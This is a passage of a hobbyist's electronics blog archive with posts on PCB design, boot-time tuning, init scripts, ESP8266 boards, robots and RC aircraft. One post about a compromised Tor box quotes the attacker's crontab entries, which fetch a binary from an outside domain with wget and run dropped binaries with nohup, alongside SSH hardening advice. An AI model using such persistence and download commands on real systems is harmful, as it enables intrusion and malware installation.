- res = target_write_u16(target,
+ res = target_write_u32(target,
SAMD_NVMCTRL + SAMD_NVMCTRL_CTRLA, SAMD_NVM_CMD(cmd));
if (res != ERROR_OK)
return res;

See https://sourceforge.net/p/openocd/mailman/message/34565277/ for more.

SAMD21E18 PCB

Mon, 02 Oct 2017 19:31:48 +0200

In follow up to my mysensors.org build, I’ve always wanted to design PCB and try my hand at SMD soldering. I normally use veroboard on a 0.1" pitch but the time to cut and solder wires makes for a slow build. Here’s the result:

It has:

An AT91SAMD21E18 (256 KiB flash, 32 pins, 0.8 mm pitch)
USB, regulator, Cortex SWD debug header, LED, and pullups on I2C
Footprint for a RFM69CW radio
Adafruit Feather form factor
Two layer PCB with 0603 passives

The soldering turned out well. I mainly used the used the tin/remove-excess-with-solderwick method and a heatgun for the USB socket. For the CPU tinning and then pressing down on the pins with the tip of the iron worked well.

Changes for the next version would be:

Add a ~10 k pullup to RST
Move the LED to PA17 to match the Zero
Reduce the LED current limit resistor to 1k from 2k2
Put footprints on the bottom of the board for a Si7021 and/or a 25FL064+

MySensors

Mon, 02 Oct 2017 19:27:58 +0200

It gets warm and humid here in the summer and feels too dry in the winter. To measure this I built up two MySensors Sensebender Micro boards and designed a 3D printed a case to go with them:

The holes in the case are to save on print time and let the air flow. The battery is far oversized and probably self discharges faster than the board draws current.

I ended up using a Raspberry Pi Zero with a RFM69HW as the gateway. It’s connected as a Ethernet gadget to my home server which lets everything run over IP while using a single cable for power and data.

Adventures in making PCBs

Mon, 11 Sep 2017 11:09:18 +0200

As part of adding MySensors based sensors around the house, I want to make an integrated version of the Sensebender Micro upgraded with a SAMD21 and a RFM69HCW radio. I’ve never had much success with making PCBs at home, so I thought I’d give it another try and record the experiments.

Try 1: HP M252dw, laminator @ 10 mm, 4 times through, Migros-brand T-Shirt transfer paper. Some transfer but lots left behind. Tape melted with heat? Learn: rotate image to make better use of paper. Transfer paper goes hatches down in paper tray.

Try 2: HP, iron, transfer paper. Iron: max temp, no steam, 30s in place, 2m total. Too much movement, smeared. Transfer paper has a sticky layer (by design?) which melted. Lesson: T-shirt transfer paper is not usable.

Try 3: HP, iron, glossy IKEA catalog pages. Iron: as #2. Paper reports as jammed.

Try 4: HP, iron, HP Q5451A photo paper. I wrapped the paper around the PCB, which makes it rise. Paper sticks to the iron when heated. Result: little toner transferred.

Try 4: Samsung, iron, HP Q4551A photo paper. Result: little toner transferred.

Try 5: PCB coated with blue spray paint, 40W laser to remove the paint. Result: a thin film is left on the copper. Trying to remove the film also removes the paint. Too higher power also shrinks the tracks. Result is insensitive to power level so lower is better.

So, no luck yet. I’ve ordered some PCBfx toner transfer paper and TRF foil. I’ve also ordered a small batch from Dirty PCBs to see what the turn around time is like. It may be worth it for the detail and lack of mess.

juju.net.nz/michaelh on IPFS

Sun, 09 Jul 2017 15:01:26 +0200

The short story is that this blog is now available on IPFS at https://juju.net.nz/ipns/juju.net.nz/michaelh/ and https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/

This is done by generating the blog a second time with ipfs/ as the basepath, changing to relative links, and then adding and updating the name as part of the buildbot script. Hugo has relative and canonical link support but it seems inconsistent, and it’s hard to resist a sed script…

I quite like how you can map ownership across DNS and IPFS using a TXT record.

Raspberry Pi Zero boot speed

Sun, 02 Jul 2017 11:46:07 +0200

I enjoy working on embedded systems, but there’s a significant amount of work you have to do in getting the platform ready before getting to the more interesting business logic. The Raspberry Pi Zero W solves most of these problems: it’s small, has decent I/O, a decent price ($10 + $6 for storage + $4 for shipping) and runs full Linux so I can use my current language of choice.

One problem is boot speed. It’s common to power cycle an embedded project so a long boot time slows down the build/test cycle. A long boot time can also affect the safety of the system.

Because of this, I had a hack on the Raspbian boot time. The .target units are boot milestones such as basics ready, filesystem ready, and networking ready. systemd-analyze plot shows where the time went and what was running in parallel such as:

$ grep target boot-2.svg
<text class="left" x="390.802" y="94.000">remote-fs-pre.target</text>
<text class="left" x="391.128" y="114.000">cryptsetup.target</text>

As a bonus, the x attribute is the time in centi-seconds the span started which makes it easer to measure.

The biggest savings were through disabling unneeded services and switching from /etc/init.d/networking to systemd-networkd. The final boot order was:

giving:

2.70 s before userspace.
3.91 s is the earliest a no-dependency service can start. Useful for any safety response.
7.42 s to local-fs: filesystem is up and usable
7.94 s to basic
17.8 s to network up. Includes the wifi and DHCP time so network dependent.

Moving from ext4 to f2fs made no difference. There’s probably another 1 s to be saved through shrinking the kernel and, say, moving USB to a module so it can init later.

Update

I switched to a custom kernel with no printk() and USB as a module. I also switched from the Debian services to things like systemd-timesyncd and disabling the Debian dhcpcd. Times now are:

0.80 s before userspace.
1.70 s is the earliest a no-dependency service can start. Useful for any safety response.
5.11 s to local-fs: filesystem is up and usable
5.88 s to basic
7.03 s to network - although it’s hard to tell if the network is up

cxx17: working through Cracking the Coding Interview

Tue, 27 Jun 2017 22:02:42 +0200

I’m working my way through Cracking the Coding Interview as a way of learning the new features and tool ecosystem of C++17.

Q1.9 reminded me of those games where you need to make a shape by drawing straight lines through dots. The trick with those games is to realise that you can draw outside the (implicit) bounds of the dots themselves. For Q1.9, the trick is to realise that you can concat the test string as any rotation will be a substring of the repeated string.

I’m quite happy with the expressiveness of C++17 (with ranges-v3) so far. The solution to Q1.9 looks like:

return (lhs + lhs).find(rhs) != std::string::npos;

which is very Pythonic.

go packages on your own domain

Sun, 16 Apr 2017 21:00:59 +0200

go get has a nice feature where it will fetch the package URL and, based on a meta tag, redirect to the actual location.

Here’s the nginx config I use to redirect go get juju.net.nz/x/package to either my private repo (for unreleased stuff) or my cgit instance for everything else. This is similar to how golang.org/x/... and gobot.io/x/... operate.

server {
...
location ~ /x/(.*) {
if (-d /home/juju/p/git/$1.git) {
return 200 '<meta name="go-import" content="$host$uri git ssh://juju@$host/~juju/p/git/$1.git">\n';
}
if (-d /home/juju/git/$1.git) {
return 200 '<meta name="go-import" content="$host$uri git $scheme://$host/src/$1.git">\n';
}
return 404;
}
}

As a bonus this means I could, say, shift the code to github without breaking existing code.

DFRobot FIT0441 pinout

Fri, 25 Nov 2016 21:25:00 +0000

I ordered two FIT0441 brushless motors for use in v2 of my balancing robot. The DFRobot wiki page on the motor is incorrect so I thought I’d blog about it so someone else can find it 🙂

The motor comes with a 5 pin JST-SH cable with a white end and a black end. The white end goes to the motor. When looking from the back of the motor with the socket at the 6 o’clock position, the wires are:

Blue (left most): PWM. Take to GND for full speed.
Black: GND / Supply negative
Yellow: Direction
Green: encoder output. ~680 Hz at full speed
Red (right most): 12V

Note that the black end has a completely different order.

To make the motor spin, connect 12V to Black and Red and short Blue to GND. To make it spin in the opposite direction, short Yellow to GND.

ESP8266 IO bridge

Sun, 23 Oct 2016 18:58:04 +0000

github.com/eriksl/esp8266-universal-io-bridge looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.

A toy PL/0 compiler

Thu, 25 Aug 2016 19:54:44 +0000

I’ve released a toy compiler for the PL/0 educational language at https://juju.net.nz/src/cgit.cgi/pl0.git/ or https://github.com/nzmichaelh/pl0.

I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.

Maker Faire Bodensee

Sun, 26 Jun 2016 10:15:44 +0000

We went to Maker Faire Bodensee on the weekend. The kids spent so much time with Paula Pongratz’s Post-apocalyptic jewlery that they missed most of the rest (heh).

Other standouts were the breadboard / pus pin based electronic organ from [

Elektronikmuseum Tettnang] 3 and the marshmallow building challenge by Toolbox BODENSEE. I also want to have a look into the Minecraft smart-home, Nodebots, and Freifunk.

Sending music over light

Sun, 17 Apr 2016 15:20:43 +0000

Someone recently mentioned that you can ‘hear’ a TV remote control by hooking a solar panel to a speaker and pointing the remote at it. It was a rainy weekend this weekend, so my son and I gave it a go:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v

The circuit is simple: a solar panel from a toy, a ~1 Hz RC highpass filter to get rid of the DC component, and an amplified speaker for the output. The noise is the code that the remote is sending to the TV which is roughly 700 Hz for one remote and 400 Hz for the other.

The next step is to see if you can send music over light. With a bit more circuitry, you can:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v

I used a LM386 to bias the LED to be normally on. The bias is set by a potentiometer on one of the differential inputs with the MP3 player on the other. Setting the bias too high or too low causes clipping due to the LED turning off or the amplifier hitting the 5 V supply rail. It sounds really good – well, at least as the small speaker lets it.

Web connected NeoPixel ring

Sun, 07 Feb 2016 16:04:36 +0000

It’s taken a while (as you can tell from the date on the box), but here’s my web connected NeoPixel ring:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v

Chroma trail: a comet with a trail that cycles through the colours of the rainbow.

I had to turn the brightness down so the camera didn’t saturate, as you can see in the next one:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4

Raindrops: randomly coloured drops that fade away.

This is a WRTnode board running a Python server. The patterns are loadable Python code. For a limited time, the server is available here. Try /pattern for a list, and /pattern/name/run to run one.

Fading text on an OLED screen

Thu, 04 Feb 2016 21:18:10 +0000

Here’s my hack of the moment: text fading in on a OLIMEX 128×64 OLED display. The interesting bit is that this is a TTF font which is rendered by SDL2 into a buffer, dithered into black and white using Floyd-Steinberg error diffusion, and then written out using the Intel IoT upm display driver. Optimizing the bulk write routine got the frame rate up from ~4 FPS to ~15 FPS.

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4

Adding buttons on the Linkit Smart

Sun, 10 Jan 2016 20:25:58 +0000

Here’s what I found out while trying to add buttons to the OpenWrt based Linkit Smart.

The flow is:

Keys are defined in target/linux/ramips/dts/LINKIT7688.dts

gpio-button-hotplug emulates gpio-keys-polled and generates uevents.

The uevent is received onver netlink by procd in plug/hotplug.c

The event is dispatched via /etc/hotplug.json
- The standard dispatch rule calls /etc/rc.buttons/$BUTTON
The DTS fragment is:
```
gpio-keys-polled {
```

… btn2 { label = “btn2”; gpios = <&gpio0 2 1>; linux,code = <0x102>; };

where the `<&#038;gpio0 2 1>` picks the second pin from the zeroth port i.e. GPIO 2 and
maps it to BTN_2. See [`uapi/linux/input.h`][6] for the other key codes.
gpio-button-hotplug supports a limited number of keys. See the source for the
current list, which is `BTN_0` to `BTN_9`, `power`, `reset`, `rfkill`, `wps`, and `wwan`.
Also, the LinkIt uses a binary wifi driver which seems to be _very_ sensitive to
the kernel version. I ended up reverting [`363508bcabd8e9205f5fffc8ff282439e61d618f`][7]
to bring OpenWrt back to 3.18.21 to stop it crashing when the interface comes up.

Hack of the day: scrolling text

Sun, 03 Jan 2016 19:04:36 +0000

I did a quick hack today and wrote a scrolling text app for an Adafruit 8×8 LED display I had lying about:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4

The app is written in C++ using the Intel mraa I/O library (which looks pretty good) and running on a WRTNODE MIPS dev board with OpenWrt. The interesting bit is the text rendering: I started with a 6×8 bitmap font then added automatic width detection, blitting for rendering to the buffer, and blitting for rendering a scrolling window on the buffer to the display.

The next step is to add a web app so you can post messages from the Internet. What could go wrong?

The Boost libraries

Fri, 01 Jan 2016 21:11:01 +0000

I’ve been hacking on a personal project to make it easier to expose HTTP based devices that are behind a restrictive NAT or firewall. The code needs to run on a OpenWrt based MIPS board 1 which limits my language choice – Python3 is out as it’s too big, and Go on MIPS32 via gccgo on OpenWrt is… tricky 2.

I ended up writing the app in C++ and I’ve been quite impressed with C++14 and the Boost libraries. Especially:

boost::optional for covering the optional results without having to use tricks like err == -1 or result == nullptr.
- boost::algorithm::string for string splitting and trimming.
  - boost::asio for all of your event or blocking based network programming needs.
    - boost::program_options for command line option parsing and validation.
      - boost::asio::coroutine for a very readable implementation of Duff device based coroutines.
        
        std::unique_ptr / std::shared_ptr for sane memory management.
        Generous use of auto, lambdas, and using keep the code reasonably terse as well.
        
        1 I also have two of the $12.90 LinkIt Smart 7688 boards on their way. A good price for a 580 MHz Linux CPU on a DIP carrier with Wifi, RAM, and 32 MiB of flash.
        
        2 gccgo enables libffi, which assumes floating point registers, but the OpenWrt kernel turns off FP emulation by default and enforces it through binutils flags.

Serial to NeoPixel bridge

Sun, 25 Oct 2015 20:55:15 +0000

I’m hacking on a project to hook a NeoPixel ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.

NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a

Olimex ATTINY85 board that takes serial data on one side and updates the ring on the other.

Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4

Next step is to get approval to release the source code.

Z-84 flying wing

Sat, 03 Oct 2015 15:49:55 +0000

Hobbyking had a free shipping promotion recently, so I picked up a Wing Wing Z-84 flying wing like all the cool kids have.

It’s quite fun if a bit noisy. The 1500 mAh 2S batter lasts 15 minutes, which is crazy long, and it’s quite interesting how a pusher propeller changes climbs and loops – you need momentum as there’s no propeller to caster under.

Next step is to change the motor controller for the one that the PX4 team recommends and have a look for a quieter prop.

No luck on flying

Sun, 30 Aug 2015 11:09:30 +0000

Looks like the plane is too heavy. It took off OK on the first try, but I couldn’t get it to lift on five goes past that. The first flight was probably due to the little bit of extra voltage a freshly charged battery has.

I did some measurements and the plane with autopilot is 1130 g, which is 255 g / 30 % higher than the design flying weight of 875 g. 110 g of that is in the MDF plate and 50 g is in my usual higher capacity batteries.

Next step is to redo the plate in polystyrene. I’m tempted to follow Z-8’s instructions and change the prop to a APC 10×7 E and upgrade the motor to a Super Tigre .10. The Super Tigre has a higher constant power (320 W vs 210 W), is a drop in replacement, and as a bonus saves 50 g.

Edit: annnd I crashed it 🙂 I fitted a 10×7 prop and new receiver and got the elevator direction wrong. The good news is the 10×7 makes the plane leap away. The bad news is it lept away into the ground…

Trojan+PX4 ready to fly

Fri, 28 Aug 2015 19:06:27 +0000

I picked up yet another board to try in my never-complete car autopilot project. This time it’s a Pixhawk PX4 (from ETH here in Zurich, woo!) with a FrSky PPM receiver, u-blox GPS, and 433 MHz telemetry mounted on my trusty P-28 Trojan.

Laser cutters are awesome. The baseboard that everything is mounted on was made by taking a basic sketch and measurements, drawing it in Inkscape, then cutting it out of 3 mm MDF (we were out of plywood…) on the laser cutter at work. Fast and accurate.

I’ll fly it tomorrow. The software has stabalisation, altitude hold, and a waypoint engine. It can also auto takeoff and auto land but that’s not a good idea on the grass without rangefinder.

New rover board

Sun, 12 Jul 2015 20:17:14 +0000

I have this long term, never complete project to make a self driving RC car. I’m making progress on the third reboot and finished up the rover board today:

On the board is a NAZE32 running Cleanflight for the sensors and real time control, a GPS, a Frsky receiver, a Beaglebone Black for logging, and a Adafruit LCD for status.

The big changes with this reboot is moving the control software to a realtime controller instead of embedded Linux and adding a display and Wifi for a much faster test and debug cycle.

1.8″ LCD support for the ESP8266

Sun, 17 May 2015 18:21:14 +0000

I’ve ported the Adafruit 1.8″ LCD driver to the new-ish Arduino ESP8266 port and done an optimisation pass. Short story is that the demo that comes with the board is down from 6083 ms to 3424 ms, and big operations like fill screen is down from 1454 ms to 157 ms. Hurray for FIFOs and better bus utilisation!

I’m quite impressed with the Arduino port: the group have done a lot of work on the completeness, speed, and in porting the standard libraries like the SD FAT support I plan to use for logging.

My goal is to restart my self driving RC car project with a NAZE32 as the controller board and an ESP8266 as logging, display, and telemetry. Let’s see how far I get this time 🙂

Pin to native mapping for the Teensy LC

Sun, 03 May 2015 19:43:56 +0000

I’m hacking on porting NuttX to the Teensy LC instead of using PJRC’s excellent Arduino support. For reference, here’s the Arduino pin mapping to the native pin:

0 PTB16
1 PTB17
2 PTD0
3 PTA1
4 PTA2
5 PTD7
6 PTD4
7 PTD2
8 PTD3
9 PTC3
10 PTC4
11 PTC6
12 PTC7
13 PTC5
14 PTD1
15 PTC0
16 PTB0
17 PTB1
18 PTB3
19 PTB2
20 PTD5
21 PTD6
22 PTC1
23 PTC2
24 PTE20
25 PTE21
26 PTE30

This was made by running core_pins.h through the C preprocessor.

Impressed with NodeMCU

Fri, 06 Feb 2015 19:34:25 +0000

NodeMcu is a Lua interpreter with a good set of support libraries for the far-too-cheap ESP8266. I’m impressed with how easy it is to script up a Wifi connected thermometer using a DS18B20 1-wire thermometer, MQTT for publishing, and Wifi to a OpenWRT router for the transport.

Have a look at the NodeMcu git repo for the bundled libraries which include a JSON parser, MQTT, spifs, and software based I2C, 1-wire, and PWM drivers.

It’s very RAM hungry though. I had a hack and got it up to 25 k of free heap, but that’s only just enough for a single device and MQTT connection.

Fast-ish boot for the Arietta

Thu, 22 Jan 2015 20:09:07 +0000

A while ago I posted about cutting the ACME Arietta boot time down from ~30 s to ~4 s. Here’s the hacks I did to get there.

After the kernel has finished initialising it runs ‘init’ which is responsible for setting up the system and starting any services. ‘init’ has the concept of runlevels including runlevel S (initial startup), runlevel 2 (normal operation) and runlevel 6 (reboot). You can configure what init does when it enters a runlevel, including changing it from running a bunch of generic scripts to running a single, specific, and much faster script.

So that’s the trick: change init from executing all of the scripts in /etc/rc2.d/ and instead have it run your own /etc/init.d/rc2.

The first step is to change the init config file /etc/inittab. As a diff:

-l2:2:wait:/etc/init.d/rc 2
+l2:2:wait:/etc/init.d/rc2

Then create a file holding helper functions, including a log function that’s useful when timing individual steps:

/etc/init.d/rc.common:

PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH
umask 022
start() {
echo "+ $@..."
$@
}

Overwrite the initial startup script /etc/init.d/rcS with:

#!/bin/busybox sh
. /etc/init.d/rc.common
start mount -t proc /proc /proc
start mount -t sysfs /sys /sys
start mount -o remount,rw /
start mount -t tmpfs none /run
mkdir -p /run/network /run/lock
start mount -a
start hostname $(cat /etc/hostname)
#start /etc/init.d/udev start
echo > /sys/kernel/uevent_helper
start udevd --daemon
start udevadm trigger --action=add
start udevadm settle --timeout=0
# PENDING: Load modules.
# PENDING: sysctl
# PENDING: urandom
start ifconfig lo 127.0.0.1 netmask 255.0.0.0 up

and finally create /etc/init.d/rc2 to start your services and perhaps application:

#!/bin/busybox sh
. /etc/init.d/rc.common
make_mac() {
echo 00$(echo $HOSTNAME $@ | md5sum | cut -b -10)
}
# Ethernet
start modprobe g_ether use_eem=0 dev_addr=$(make_mac dev) host_addr=$(make_mac host)
start ifconfig usb0 192.168.10.10 netmask 255.255.255.0 up
# OpenSSH
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
start /usr/sbin/sshd
# Finished!
echo uptime: `cat /proc/uptime`

Make sure the files are executable (chmod +x ...).

The make_mac() function is used to give the USB ethernet gadget a fixed MAC address instead of generating a random one at each boot. This makes setting a static IP address in Chrome OS easier.

Note that I’m using busybox as the shell. It’s really small so should be quick to load and run. Run sudo apt-get install busybox to get it.

Fiddling with init scripts is a good way to break the boot. The easiest way to fix a problem is to put the SD card into your laptop and edit the files directly.

Click here for a tarball of the files.

Serial to Wifi board hacking

Thu, 11 Dec 2014 21:15:14 +0000

I’m having fun with my Olimex ESP8266 dev board. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the serial to Wifi boards but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.

So far I’ve only built the community run toolchain and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.

Next step is to turn the LED on and off from a web form.

golang and realtime musings

Sun, 19 Oct 2014 18:23:21 +0000

I’m using golang as the language for my self balancing robot project. It should be interesting as golang is designed for server loads, not for realtime, but the bot will need to update at 100 Hz (10 ms/cycle) to say upright.

I had a look at the source and there’s a few issues:

No priorities. The fast control loop should take priority but goroutines are cooperative, have no concept of priority, and are multiplexed onto threads in undefined ways.

The timers are fired from one thread. Ideally timers should have priority and smear, so the control timer can fire first and any other timers can run at roughly the right time when the CPU has gone idle.

The garbage collector is stop world. It’d be nice if the control thread had its own GC pool. Not going overboard with short lived objects should keep this under control.

The next step is to measure see if any of this is a problem. I plan to have the control loop set a pin on entry and clear it on exit, and then use a ATTINY as a timer to measure the start and runtime jitter.

Balancing robot first steps

Sun, 21 Sep 2014 18:01:47 +0000

I’m working on a self balancing robot as a coming-into-winter-something-inside-sounds-good project. Today I got it driving about: not balancing, not smart, but still a good milestone.

It’s been a lot of fun due to the different tech involved. The body is laser cut acrylic with finger joints to join the base to the motor plates. The controller is a Arietta 400 MHz ARM9 running Debian. The motors are some cheap DC motors/gearbox/wheel combos from Olimex. The motor controller is a L298. The ‘up’ sensor is a six axis MPU6050 giving gyros and accelerometers.

It’s definitely a v1. I want to redo the frame to be much narrower and taller giving a more ‘upright’ shape. I might build a PCB instead of veroboard to shrink the whole design.

The current hard problem is the supply. I need 5V to drive the USB Wifi adapter so I’m considering changing the 6V 4x AA battery pack for a 7.4 V 2S LiPo. It’s a better size and is a high enough voltage that I can put a 5 V linear regulator and have both the motor and control from the same battery.

Dogfighter settings

Sat, 19 Jul 2014 13:10:41 +0000

I’m quite enjoying my Multiplex Dogfighter. I just fitted a new spinner and mount to replace the one chipped in a crash, and it’s smooth and quiet again at full throttle. It’s a crazy tough model plane.

For reference, here’s the settings I use on my Futaba remote:

Aileron: rate 60 % exponential -40 %
- Elevator: rate 100 % exponential -20 %
  - Flaperons: -30 %
    - Air brake: Aileron +50 % Elevator +11 % Flaps: +50 %
    This is quite docile. The flaperons could be more negative.

Console on a old Nokia display

Tue, 15 Jul 2014 18:34:59 +0000

After a night of hacking I have the cutest console ever: fbcon on my Arietta G25 showing on a 84×48 Nokia 3310 LCD thanks to fbtft. The nice thing is it’s tiny enough to fit on my RC car but shows as a standard framebuffer so will work with everything.

There’s two versions of the display with two controller chips. fbtft required some patching which I’ll send upstream after company review.

I’m tempted to put GERTY‘s face from Moon on it while it drives about.

Shorter boot time on the Arietta G25

Sun, 13 Jul 2014 19:25:45 +0000

Short story: my Arietta G25 now boots to prompt in 3.9 s instead of the stock 50.7 s. Nice.

I had a hack about with reducing the boot time of the Arietta G25 ARM9 based Linux board. I’m planning on doing some kernel hacking so shorter is better as it cuts the build/push/test cycle down.

My log is here. I pulled the usual tricks like switching to custom init scripts (eck), dropping udev for mdev, and doing things like USB Ethernet initialisation as late as possible.

I had a few surprises: LZO is faster than Gzip (despite being bigger and taking longer to load from SD), -O2 is faster to boot than -Os (despite being heavier on the cache), and switching from 115200 baud to 460800 also made a difference.

This is all against a Chromebook host with Crouton. The USB Ethernet also works fine once I switched the board from EEM to ECM mode.

Arietta 25

Sun, 29 Jun 2014 19:51:29 +0000

I picked up two Acme Systems Arietta G25‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.

Some random notes:

The board shows up as a USB CDC EEM Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the chromeos-3.8.11 EEM driver from source and it worked just fine.

The usual SSH port forwarding trick works well for installing extra packages. Run Polipo somewhere on your network, SSH into the board with port forwarding (-R 8123:proxy-name:8123), set the proxy (export http_proxy=http://localhost:8123/), and apt-get away.

The default hostname is arietta. Add it to the localhost line in /etc/hosts to make sudo faster.

The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try GOARCH=arm GOARM=5 go build.

I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses #include and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.

Some grass trimming

Sun, 22 Jun 2014 17:38:25 +0000

Two good runs with my plane today, including a good looking flare out on the second landing. The plane pulled up, stalled, and correctly came down on its belly.

The very first try was… unfortunate. I decided to take off down wind so I could have the sun behind me and a good, empty field in front. The plane stalled and somehow went to full throttle, cutting grass and leaving this for a propeller:

Up and down again

Sun, 01 Jun 2014 10:03:59 +0000

This is what success with a Multiplex Dogfighter looks like:

The canopy is on, the wing is on, and the battery isn’t kissing the motor. Success!

Pro tip: wear long pants when flying else the long grass will make you regret.

Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog

Tue, 22 Apr 2014 17:25:12 +0000

Seeing messages like sshd[28778]: PAM service(sshd) ignoring max retries; 6 > 3 in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add MaxAuthTries 3 to /etc/ssh/sshd_config.

Huffman coding on NMEA sentances

Sun, 13 Apr 2014 19:12:47 +0000

I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.

For comparison, on my 135,548 byte test file:

Treating each character as a symbol gives 58,749 B (2.30x)
- Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
  - lzop gives 22,161 B (6.12x)
    - gzip gives 12,167 B (11.2x)
    The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the Allmend. Off the shelf is too easy.

Three days to posession

Mon, 31 Mar 2014 18:19:57 +0000

As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.

So the lessons are:

Always clear the root password.
- Disable root login in sshd_config.
  - Disable password logins in sshd_config and use keys only.
  The particular virus uses Perl to run a script that masquerades as /usr/sbin/apache/log. It overwrites /var/spool/cron/crontab/root to fetch various things over reboot including writing various binaries like /etc/atddd. Some example lines:
```
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
```

*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1& */100 * * * * nohup /etc/kysapd > /dev/null 2>&1&

 These are all x86 statically linked binaries. I don&#8217;t think they&#8217;re run too good on ARM 🙂
Time to nuke the system. It&#8217;s the only way to be sure.

First flying of the year

Sun, 23 Feb 2014 15:03:03 +0000

I dusted my T-28 Trojan off and took it for a fly in the Allmend today. Hard to say no to such nice weather. I could even feel my fingers when I got back!

Unstable heading

Sun, 16 Feb 2014 19:48:42 +0000

The replacement wishbone arrived so the cars in good shape, but still no luck with the heading controller. I can get it to slowly oscillate along a straight line by using a low Kp and restricting the steering, but the step response is poor. Adding a differential term based off the GPS heading didn’t help and showed up the high frequency noise you’d expect from a differential.

I suspect there’s quite a bit of lag in the GPS heading and that it has a hard time calculating on tight, small radius turns. This seems reasonable as the heading must come from the velocity angle or difference in position. Measuring and plotting would help…

Next step is to wire up the MPU-6050 based gyro I got off ebay. i2cdevlib has a driver for it that uses the Fastwire ATMEGA I2C library, but I’ve stripped out so much there’s not much original code left. The board is physically a bit tight so it’ll be tricky to fit.

Heading controller progress

Sun, 02 Feb 2014 16:55:18 +0000

The heading controller is basically working. The big changes were reducing the maximum steering angle to reducing how much trouble the controller can get itself into, and putting the gain on the dial so I could tune it while driving. There’s still a lot of slow oscillation so I I’ll add a differential term to counter how steering angle integrates to heading.

The reliability problem has gone after switching from the golang gc compiler to gccgo. I think there’s a problem with the runtime as the whole app locks up and gdb reports all threads being in a function with ‘futex’ in the name. I want to report this to the golang team, but how do you reduce “a 10 thread 1000 line program, on ARM, on a random kernel, in the cold, in a noisy environment, sometimes locks up after 10 minutes of activity.”

Next step is the differential term. I only have GPS heading so I’ll look at the run data and see how noisy the heading differential is. Getting a gyro is tempting.

Actually, the zeroth step is replacing the front wishbone:

I must have half broken it in the first Great Crash, and last nights glue job didn’t hold. Conrad want an excessive 50 CHF including shipping for two of them and a new bumper. German word of the day: a bumper is the much more awesome Frontrammer.

Adding watchdogs to track down a halt

Sat, 01 Feb 2014 20:39:17 +0000

The car controller is dropping out now and again for no obvious reason. I thought it was due to the cold changing the internal RC oscillator frequency and making the serial communications unreliable, but I’ve switched to a 12 MHz crystal and it’s no better. The problem doesn’t happen inside, so I suspect it’s interference from the motor causing a serial error which the serial driver locks up on. Restarting the program without resetting the hardware clears the fault so I should be able to handle it in software as well.

I’ve added a watchdog on all of the interesting dimensions: GPS data, GPS lock, input from the remote, heartbeats from the board, and two-way communications via a ping. Hopefully the fault will now show up in the logs.

I’ll dump the message and error counter to the log as well to see if the rates change when driving.

Heh, next thing you know my car will be running Borgmon…

Fixing bad AVR fuses the hard(er) way

Wed, 29 Jan 2014 20:01:40 +0000

Lesson for the day: always put the big ICs in sockets. I fitted a crystal to the AVR on the interface board yesterday and managed to brick the chip by setting the fuse values to use an oscillator that didn’t exist. Thanks for the day: the person who invented desoldering braid. It’s awesome and got the pins clean enough that I could just lever the old chip out.

I’ve now fitted a socket, a new processor, and gone to a 12 MHz crystal. This should take care of the serial baud rate problems when the chip is cold and gives me a bit more resolution on the control signals out to the servos.

Heading controller tests

Sun, 26 Jan 2014 20:27:40 +0000

The heading controller didn’t work out as well. I had one bug when converting from 0..360 degrees to -Pi..Pi radians, but most of the problems were due to reliability and a lack of speed.

You need quite a bit of room when testing as you need to go > 15 km/h to get a good heading from the GPS and to give the wheels something to turn against. Using the three position switch to change modes and dump back into manual mode works well, so I only had a few low speed bumps.

There’s a reliability problem in the communications between the I/O board and the BeagleBone which I suspect is due to temperature. I’m using the internal RC osciallator on the AVR and, according to the datasheet, the frequency may change ~0.1 MHz between my normal toasty testing place inside and the zero degrees outside. Time to fit a crystal and perhaps take it up to 20 MHz at the same time to give lower noise in the software PWM. The upgrade may be fun as I’ve soldered the AVR onto the board – if I burn the fuses wrong then I don’t know if I can recover the chip without desoldering it.

Speed controller test

